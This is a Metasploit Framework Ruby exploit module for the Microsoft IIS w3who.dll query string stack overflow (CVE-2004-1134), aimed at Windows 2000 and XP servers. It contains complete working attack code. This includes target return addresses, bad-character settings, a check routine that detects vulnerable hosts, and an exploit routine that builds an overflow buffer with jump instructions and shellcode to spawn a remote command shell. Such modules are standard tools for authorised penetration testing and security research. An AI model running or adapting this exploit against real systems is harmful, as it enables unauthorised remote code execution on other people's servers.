Microsoft IIS ISAPI w3who.dll Query String Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the w3who.dll ISAPI  
application. This vulnerability was discovered Nicolas  
Gregoire and this code has been successfully tested against  
Windows 2000 and Windows XP (SP2). When exploiting Windows  
XP, the payload must call RevertToSelf before it will be  
able to spawn a command shell.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1134'],  
[ 'OSVDB', '12258'],  
[ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html'],  
[ 'BID', '11820'],  
  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 632,  
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",  
'MinNops' => 128,  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [ 48, 0x01169f4a ] }], # pop, pop, ret magic  
['Windows 2000 RESKIT DLL [Windows XP]', { 'Rets' => [ 748, 0x10019f4a ] }], # pop, pop, ret magic  
],  
'DisclosureDate' => 'Dec 6 2004'))  
  
register_options(  
[  
OptString.new('URL', [ true, "The path to w3who.dll", "/scripts/w3who.dll" ]),  
], self.class)  
end  
  
# Identify the target based on the IIS version  
def autofilter  
res = send_request_raw({  
'uri' => datastore['URL']  
}, -1)  
  
# Was a vulnerable system detected?   
if (res and res.body =~ /Access Token/)  
case res.headers['Server']  
when /5\.1/  
datastore['TARGET'] = 1  
else  
datastore['TARGET'] = 0  
end  
  
return true  
end  
  
# Not vulnerable  
return false  
end  
  
def check  
res = send_request_raw({  
'uri' => datastore['URL']  
}, -1)  
  
if (res and res.body =~ /Access Token/)  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
buf = rand_text_english(8192, payload_badchars)  
buf[target['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"  
buf[target['Rets'][0] - 0, 4] = [ target['Rets'][1] ].pack('V')  
buf[target['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')  
buf[target['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded  
  
print_status("Sending request...")  
r = send_request_raw({  
'uri' => datastore['URL'],  
'query' => buf  
}, 5)  
  
handler  
end  
  
end  
`